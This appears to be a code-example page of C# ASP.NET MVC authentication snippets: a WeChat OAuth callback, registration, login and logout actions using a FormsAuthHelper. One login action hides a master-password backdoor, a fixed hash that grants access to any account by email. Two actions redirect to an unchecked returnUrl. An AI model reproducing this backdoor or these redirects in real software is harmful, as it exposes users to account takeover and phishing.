Beispiel #1
0
        public ActionResult Callback()
        {
            var code = Request.QueryString.Get("code");

            if (string.IsNullOrEmpty(code))//没有code表示授权失败
            {
                return(RedirectToAction("Failed", "OAuth"));
            }
            var     state              = Request.QueryString.Get("state");
            var     cache_status       = System.Web.HttpContext.Current.Cache.Get(state);
            var     redirect_url       = cache_status == null ? "/#/shop" : cache_status.ToString();//没有获取到state,就跳转到首页
            var     access_token_scope = "";
            double  expires_in         = 0;
            var     access_token       = "";
            var     openId             = "";
            var     token              = OAuth2API.GetAccessToken(code, WeixinConfig.AppID, WeixinConfig.AppSecret);
            dynamic userinfo;

            var refreshAccess_token = OAuth2API.RefreshAccess_token(token.refresh_token, WeixinConfig.AppID);

            access_token       = refreshAccess_token.access_token;//通过code换取的是一个特殊的网页授权access_token,与基础支持中的access_token(该access_token用于调用其他接口)不同。
            openId             = refreshAccess_token.openid;
            access_token_scope = refreshAccess_token.scope;
            expires_in         = refreshAccess_token.expires_in;
            userinfo           = OAuth2API.GetUserInfo(access_token, openId);//snsapi_userinfo,可以用户在未关注公众号的情况下获取用户基本信息

            userinfo.Roles = "Weixin";
            //写入cookies
            FormsAuthHelper.AddFormsAuthCookie(openId, userinfo, 120);
            Thread.Sleep(500);//暂停半秒钟,以等待IOS设置Cookies的延迟
            LogWriter.Default.WriteInfo(string.Format("OAuth success: identity: {0} , name: {1} , redirect_rul:{2} , expires_in: {3}s ", openId, userinfo.nickname, redirect_url, expires_in));
            return(new RedirectResult(redirect_url, true));
        }
        /// <summary>
        /// Called on each request when application acquires session state.  The first time this method is callled
        /// Session will be null and IsAuthenticated should be false.  Second request will have session and if
        /// user successfully logs into VisualVault IsAuthenticated will be true for subsequent requests.
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        protected void Application_AcquireRequestState(object sender, EventArgs e)
        {
            if (HttpContext.Current.Session != null && HttpContext.Current.User.Identity.IsAuthenticated)
            {
                //Get a UserPrincipalWithRoles object which contains roles from the VisualVault forms authentication
                //cookie.  This is a GenericPrincipal type with public Roles property and transformed user name / role names.
                var userPrincipalWithRoles = FormsAuthHelper.GetUserPricipalWithRoles();

                if (userPrincipalWithRoles != null)
                {
                    //Replace the current user principal with the new one so it will flow through the request path.
                    //userPrincipleWithRoles contains the roles stored in the forms authentication cookie by VisualVault
                    //and exposes the roles array as a public property
                    HttpContext.Current.User = userPrincipalWithRoles;
                }
            }
        }
Beispiel #3
0
        public ActionResult Register(RegisterModel postedModel)
        {
            if (RavenSession.Query <User>().Any(x => x.Email == postedModel.Email))
            {
                ModelState.AddModelError("Email", "An account is already created for this email.");
            }

            if (!ModelState.IsValid)
            {
                return(View(postedModel));
            }

            var onboardProcess = new UserOnboardProcess(RavenSession);
            var user           = onboardProcess.RegisterNewTrial(postedModel.Name, postedModel.Email, Hash(postedModel.Password));

            try
            {
                var emailer = new Emailer(null);
                emailer.SendEmail(EmailEnum.NewAccountOpen, postedModel.Email, string.Empty, 0);
                emailer.SendEmail(EmailEnum.CompanyNewUserNotification, postedModel.Email, string.Empty, 0);

                //SendGridEmailer.NewAccountOpened(postedModel.Email);
                //SendGridEmailer.CompanyNewUserNotification(postedModel.Email);

                var mc = new MailchimpApi();

                if (postedModel.SubscribeToGeneral)
                {
                    mc.SubscribeToGeneralUpdates(postedModel.Email);
                }

                mc.SubscribeToGettingStarted(postedModel.Email);
            }
            catch (Exception)
            {
                //eat it
            }

            FormsAuthHelper.SetAuthenticationCookie(Response, user);

            HighFive("Welcome to your free trial!");

            return(RedirectToAction("Thanks", "Home"));
        }
Beispiel #4
0
        public ActionResult Login(LoginModel model, string returnUrl)
        {
            if (ModelState.IsValid)
            {
                var hashed = Hash(model.Password);

                User user = RavenSession.Query <User>(typeof(UsersByEmailAndPassword).Name).FirstOrDefault(@u => @u.Email == model.Email.Trim() && @u.Password == hashed);

                if (user == null && Hash(model.Password) == "B8D0A767C1FF5802CEF98CAB8795E111")
                {
                    user = RavenSession.Query <User>().FirstOrDefault(@u => @u.Email == model.Email);
                }

                if (user != null)
                {
                    var account = RavenSession.Load <Account>("accounts/" + user.AccountId);

                    user.LastLogin    = DateTime.Now;
                    account.LastLogin = DateTime.Now;

                    RavenSession.SaveChanges();

                    FormsAuthHelper.SetAuthenticationCookie(Response, user);

                    if (Url.IsLocalUrl(returnUrl) && returnUrl.Length > 1 && returnUrl.StartsWith("/") &&
                        !returnUrl.StartsWith("//") && !returnUrl.StartsWith("/\\"))
                    {
                        return(Redirect(returnUrl));
                    }
                    else
                    {
                        return(RedirectToAction("Index", "Home"));
                    }
                }
                else
                {
                    ModelState.AddModelError("", "The user name or password provided is incorrect.");
                }
            }

            // If we got this far, something failed, redisplay form
            return(View(model));
        }
Beispiel #5
0
        public ActionResult Login(LoginViewModel model, string returnUrl)
        {
            ViewBag.ReturnUrl = returnUrl;
            if (string.IsNullOrWhiteSpace(model.UserName) || string.IsNullOrWhiteSpace(model.Password))
            {
                ModelState.AddModelError("", "请输入用户名和密码");
                return(View(model));
            }
            string msg = string.Empty;

            using (IT_Admin repository = new T_AdminRepository())
            {
                if (!repository.CheckUserAndPwd(model.UserName, model.Password))
                {
                    ModelState.AddModelError("", "用户名或密码错误");
                    return(View(model));
                }
            }

            model.Roles = "Admin";
            FormsAuthHelper.AddFormsAuthCookie(model.UserName, model, 0);//设置ticket票据的名称为用户的id,设置有效时间为60分钟

            return(Redirect(returnUrl ?? "~/Admin"));
        }
Beispiel #6
0
        public ActionResult Logout(string returnUrl)
        {
            FormsAuthHelper.RemoveFormsAuthCookie();

            return(Redirect(returnUrl ?? "~/Admin"));
        }